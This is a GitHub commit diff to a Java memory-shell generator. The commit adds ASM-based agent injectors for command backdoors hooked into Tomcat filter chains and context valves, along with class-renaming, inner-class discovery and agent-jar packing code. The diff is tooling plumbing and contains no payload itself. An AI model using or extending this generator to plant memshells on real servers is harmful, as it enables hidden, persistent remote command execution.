Skip to content

Commit 65414fc

Browse files
committed
feat: support command agent with asm on filterChain and contextValve (#51)
1 parent fe5f662 commit 65414fc

File tree

47 files changed

+1060
-46
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

47 files changed

+1060
-46
lines changed

bom/build.gradle

+1
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@ plugins {
55
dependencies {
66
constraints {
77
api 'net.bytebuddy:byte-buddy:1.+'
8+
api 'org.ow2.asm:asm-commons:9.7.1'
89

910
api 'javax.servlet:javax.servlet-api:3.0.1'
1011
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
package com.reajason.javaweb.asm;
2+
3+
import lombok.Getter;
4+
import net.bytebuddy.jar.asm.ClassReader;
5+
import net.bytebuddy.jar.asm.ClassVisitor;
6+
import net.bytebuddy.jar.asm.Opcodes;
7+
8+
import java.io.IOException;
9+
import java.io.InputStream;
10+
import java.util.HashSet;
11+
import java.util.Set;
12+
13+
public class InnerClassDiscovery {
14+
15+
/**
16+
* Discovers all inner classes for a given class
17+
*
18+
* @param originalClass The class to discover inner classes for
19+
* @return A set of fully qualified inner class names
20+
*/
21+
public static Set<String> findAllInnerClasses(Class<?> originalClass) throws IOException {
22+
Set<String> innerClasses;
23+
String resourceName = originalClass.getName().replace('.', '/') + ".class";
24+
try (InputStream is = originalClass.getClassLoader().getResourceAsStream(resourceName)) {
25+
if (is == null) {
26+
throw new IOException("Could not find class file for " + originalClass.getName());
27+
}
28+
29+
ClassReader reader = new ClassReader(is);
30+
InnerClassCollector collector = new InnerClassCollector(originalClass.getName());
31+
reader.accept(collector, ClassReader.SKIP_CODE | ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES);
32+
33+
innerClasses = new HashSet<>(collector.getInnerClasses());
34+
}
35+
try {
36+
for (Class<?> innerClass : originalClass.getDeclaredClasses()) {
37+
innerClasses.add(innerClass.getName());
38+
innerClasses.addAll(findAllInnerClasses(innerClass));
39+
}
40+
} catch (SecurityException ignored) {
41+
}
42+
43+
return innerClasses;
44+
}
45+
46+
private static class InnerClassCollector extends ClassVisitor {
47+
private final String originalClassName;
48+
@Getter
49+
private final Set<String> innerClasses = new HashSet<>();
50+
51+
public InnerClassCollector(String originalClassName) {
52+
super(Opcodes.ASM9);
53+
this.originalClassName = originalClassName.replace('/', '.');
54+
}
55+
56+
@Override
57+
public void visitInnerClass(String name, String outerName, String innerName, int access) {
58+
String className = name.replace('/', '.');
59+
if (outerName != null) {
60+
String outerClassName = outerName.replace('/', '.');
61+
if (outerClassName.equals(originalClassName)) {
62+
innerClasses.add(className);
63+
}
64+
} else if (className.startsWith(originalClassName + "$")) {
65+
innerClasses.add(className);
66+
}
67+
}
68+
69+
}
70+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
package com.reajason.javaweb.buddy;
2+
3+
import net.bytebuddy.asm.AsmVisitorWrapper;
4+
import net.bytebuddy.description.field.FieldDescription;
5+
import net.bytebuddy.description.field.FieldList;
6+
import net.bytebuddy.description.method.MethodList;
7+
import net.bytebuddy.description.type.TypeDescription;
8+
import net.bytebuddy.implementation.Implementation;
9+
import net.bytebuddy.jar.asm.ClassVisitor;
10+
import net.bytebuddy.jar.asm.commons.ClassRemapper;
11+
import net.bytebuddy.jar.asm.commons.Remapper;
12+
import net.bytebuddy.pool.TypePool;
13+
import org.jetbrains.annotations.NotNull;
14+
15+
/**
16+
* @author ReaJason
17+
* @since 2025/3/27
18+
*/
19+
public class ClassRenameVisitorWrapper implements AsmVisitorWrapper {
20+
public final String originalClassName;
21+
public final String newClassName;
22+
23+
public ClassRenameVisitorWrapper(String originalClassName, String newClassName) {
24+
this.originalClassName = originalClassName.replace('.', '/');
25+
this.newClassName = newClassName.replace('.', '/');
26+
}
27+
28+
29+
@Override
30+
public int mergeReader(int flags) {
31+
return flags;
32+
}
33+
34+
@Override
35+
public int mergeWriter(int flags) {
36+
return flags;
37+
}
38+
39+
@NotNull
40+
@Override
41+
public ClassVisitor wrap(@NotNull TypeDescription instrumentedType,
42+
@NotNull ClassVisitor classVisitor,
43+
@NotNull Implementation.Context implementationContext,
44+
@NotNull TypePool typePool,
45+
@NotNull FieldList<FieldDescription.InDefinedShape> fields,
46+
@NotNull MethodList<?> methods,
47+
int writerFlags,
48+
int readerFlags) {
49+
return new ClassRemapper(
50+
classVisitor,
51+
new Remapper() {
52+
@Override
53+
public String map(String typeName) {
54+
if (typeName.startsWith(originalClassName)) {
55+
return typeName.replaceFirst(originalClassName, newClassName);
56+
} else {
57+
return typeName;
58+
}
59+
}
60+
});
61+
}
62+
}

generator/build.gradle

+1
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,7 @@ dependencies {
2424
implementation project(":memshell")
2525
implementation project(":memshell-java8")
2626
implementation 'net.bytebuddy:byte-buddy'
27+
implementation 'org.ow2.asm:asm-commons'
2728

2829
implementation 'javax.servlet:javax.servlet-api'
2930
implementation 'javax.websocket:javax.websocket-api'

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

+6-1
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,8 @@
77
import org.apache.commons.lang3.StringUtils;
88
import org.apache.commons.lang3.tuple.Pair;
99

10+
import java.util.Map;
11+
1012
/**
1113
* @author ReaJason
1214
* @since 2024/11/24
@@ -48,7 +50,9 @@ public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig in
4850
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
4951
injectorConfig.setShellClassBytes(shellBytes);
5052

51-
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
53+
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
54+
byte[] injectorBytes = injectorGenerator.generate();
55+
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
5256

5357
return GenerateResult.builder()
5458
.shellConfig(shellConfig)
@@ -58,6 +62,7 @@ public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig in
5862
.shellBytes(shellBytes)
5963
.injectorClassName(injectorConfig.getInjectorClassName())
6064
.injectorBytes(injectorBytes)
65+
.injectorInnerClassBytes(innerClassBytes)
6166
.build();
6267
}
6368

generator/src/main/java/com/reajason/javaweb/memshell/Server.java

+2
Original file line numberDiff line numberDiff line change
@@ -227,7 +227,9 @@ public enum Server {
227227
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
228228
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
229229
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
230+
.addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
230231
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
232+
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
231233
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
232234
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
233235
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)

generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java

+2
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,9 @@ public class ShellType {
2121
public static final String AGENT = "Agent";
2222

2323
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
24+
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChainASM";
2425
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
26+
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValveASM";
2527
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
2628
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
2729
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";

generator/src/main/java/com/reajason/javaweb/memshell/config/GenerateResult.java

+4-1
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,8 @@
66
import lombok.NoArgsConstructor;
77
import org.apache.commons.codec.binary.Base64;
88

9+
import java.util.Map;
10+
911
/**
1012
* @author ReaJason
1113
* @since 2024/11/24
@@ -21,6 +23,7 @@ public class GenerateResult {
2123
private String shellBytesBase64Str;
2224
private String injectorClassName;
2325
private transient byte[] injectorBytes;
26+
private transient Map<String, byte[]> injectorInnerClassBytes;
2427
private long injectorSize;
2528
private String injectorBytesBase64Str;
2629
private ShellConfig shellConfig;
@@ -38,7 +41,7 @@ public GenerateResult build() {
3841
injectorSize = injectorBytes.length;
3942
}
4043
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
41-
injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
44+
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
4245
}
4346
}
4447
}

generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java

+43-6
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,22 @@
11
package com.reajason.javaweb.memshell.generator;
22

33
import com.reajason.javaweb.ClassBytesShrink;
4-
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
5-
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
6-
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
7-
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
4+
import com.reajason.javaweb.asm.InnerClassDiscovery;
5+
import com.reajason.javaweb.buddy.*;
86
import com.reajason.javaweb.memshell.config.InjectorConfig;
97
import com.reajason.javaweb.memshell.config.ShellConfig;
108
import com.reajason.javaweb.memshell.utils.CommonUtil;
119
import lombok.SneakyThrows;
1210
import net.bytebuddy.ByteBuddy;
11+
import net.bytebuddy.description.type.TypeDescription;
12+
import net.bytebuddy.dynamic.ClassFileLocator;
1313
import net.bytebuddy.dynamic.DynamicType;
14+
import net.bytebuddy.dynamic.scaffold.TypeValidation;
1415
import net.bytebuddy.implementation.FixedValue;
16+
import net.bytebuddy.pool.TypePool;
1517
import org.apache.commons.codec.binary.Base64;
1618

17-
import java.util.Objects;
19+
import java.util.*;
1820

1921
import static net.bytebuddy.matcher.ElementMatchers.named;
2022

@@ -34,10 +36,13 @@ public InjectorGenerator(ShellConfig shellConfig, InjectorConfig injectorConfig)
3436
@SneakyThrows
3537
public DynamicType.Builder<?> getBuilder() {
3638
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()));
39+
String originalClassName = injectorConfig.getInjectorClass().getName();
40+
String newClassName = injectorConfig.getInjectorClassName();
41+
3742
DynamicType.Builder<?> builder = new ByteBuddy()
3843
.redefine(injectorConfig.getInjectorClass())
39-
.name(injectorConfig.getInjectorClassName())
4044
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
45+
.visit(new ClassRenameVisitorWrapper(originalClassName, newClassName))
4146
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
4247
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
4348
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
@@ -56,6 +61,38 @@ public DynamicType.Builder<?> getBuilder() {
5661
return builder;
5762
}
5863

64+
@SneakyThrows
65+
public Map<String, byte[]> getInnerClassBytes() {
66+
Set<String> innerClassNames = InnerClassDiscovery.findAllInnerClasses(injectorConfig.getInjectorClass());
67+
if (innerClassNames.isEmpty()) {
68+
return Collections.emptyMap();
69+
}
70+
71+
String originalClassName = injectorConfig.getInjectorClass().getName();
72+
String newClassName = injectorConfig.getInjectorClassName();
73+
74+
ClassFileLocator classFileLocator = ClassFileLocator.ForClassLoader.of(injectorConfig.getInjectorClass().getClassLoader());
75+
TypePool typePool = TypePool.Default.of(classFileLocator);
76+
77+
Map<String, byte[]> bytes = new HashMap<>();
78+
for (String innerClassName : innerClassNames) {
79+
TypeDescription innerTypeDesc = typePool.describe(innerClassName).resolve();
80+
String newInnerClassName = innerClassName.replace(originalClassName, newClassName);
81+
DynamicType.Builder<?> innerBuilder = new ByteBuddy()
82+
.with(TypeValidation.DISABLED)
83+
.redefine(innerTypeDesc, classFileLocator)
84+
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
85+
.visit(new ClassRenameVisitorWrapper(originalClassName, newClassName));
86+
87+
try (DynamicType.Unloaded<?> unloaded = innerBuilder.make()) {
88+
for (Map.Entry<TypeDescription, byte[]> entry : unloaded.getAllTypes().entrySet()) {
89+
bytes.put(newInnerClassName, entry.getValue());
90+
}
91+
}
92+
}
93+
return bytes;
94+
}
95+
5996
@SneakyThrows
6097
public byte[] generate() {
6198
DynamicType.Builder<?> builder = getBuilder();

generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java

+13-1
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
import lombok.SneakyThrows;
55
import net.bytebuddy.ByteBuddy;
66
import org.apache.commons.io.IOUtils;
7+
import org.objectweb.asm.Opcodes;
78

89
import java.io.ByteArrayOutputStream;
910
import java.io.File;
@@ -13,6 +14,7 @@
1314
import java.nio.file.Files;
1415
import java.nio.file.Path;
1516
import java.util.Enumeration;
17+
import java.util.Map;
1618
import java.util.jar.JarEntry;
1719
import java.util.jar.JarFile;
1820
import java.util.jar.JarOutputStream;
@@ -40,7 +42,11 @@ public byte[] packBytes(GenerateResult generateResult) {
4042
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
4143
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
4244
try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
43-
addDependency(targetJar, ByteBuddy.class);
45+
if (generateResult.getShellConfig().getShellType().endsWith("ASM")) {
46+
addDependency(targetJar, Opcodes.class);
47+
} else {
48+
addDependency(targetJar, ByteBuddy.class);
49+
}
4450

4551
targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class"));
4652
targetJar.write(generateResult.getInjectorBytes());
@@ -49,6 +55,12 @@ public byte[] packBytes(GenerateResult generateResult) {
4955
targetJar.putNextEntry(new JarEntry(advisorClass.replace('.', '/') + ".class"));
5056
targetJar.write(generateResult.getShellBytes());
5157
targetJar.closeEntry();
58+
59+
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
60+
targetJar.putNextEntry(new JarEntry(entry.getKey().replace('.', '/') + ".class"));
61+
targetJar.write(entry.getValue());
62+
targetJar.closeEntry();
63+
}
5264
}
5365
return byteArrayOutputStream.toByteArray();
5466
}

generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java

+4
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,9 @@
44
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
55
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
66
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
7+
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
78
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
9+
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
810
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
911
import net.bytebuddy.asm.Advice;
1012
import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -49,7 +51,9 @@ public InjectorMapping getShellInjectorMapping() {
4951
.addInjector(VALVE, GlassFishValveInjector.class)
5052
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
5153
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
54+
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
5255
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
56+
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
5357
.build();
5458
}
5559
}

generator/src/main/java/com/reajason/javaweb/memshell/server/InforSuiteShell.java

+4
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,9 @@
44
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
55
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
66
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
7+
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentWithAsmInjector;
78
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
9+
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
810

911
import static com.reajason.javaweb.memshell.ShellType.*;
1012

@@ -29,7 +31,9 @@ public InjectorMapping getShellInjectorMapping() {
2931
.addInjector(VALVE, GlassFishValveInjector.class)
3032
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
3133
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
34+
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
3235
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
36+
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
3337
.build();
3438
}
3539
}

0 commit comments

Comments
 (0)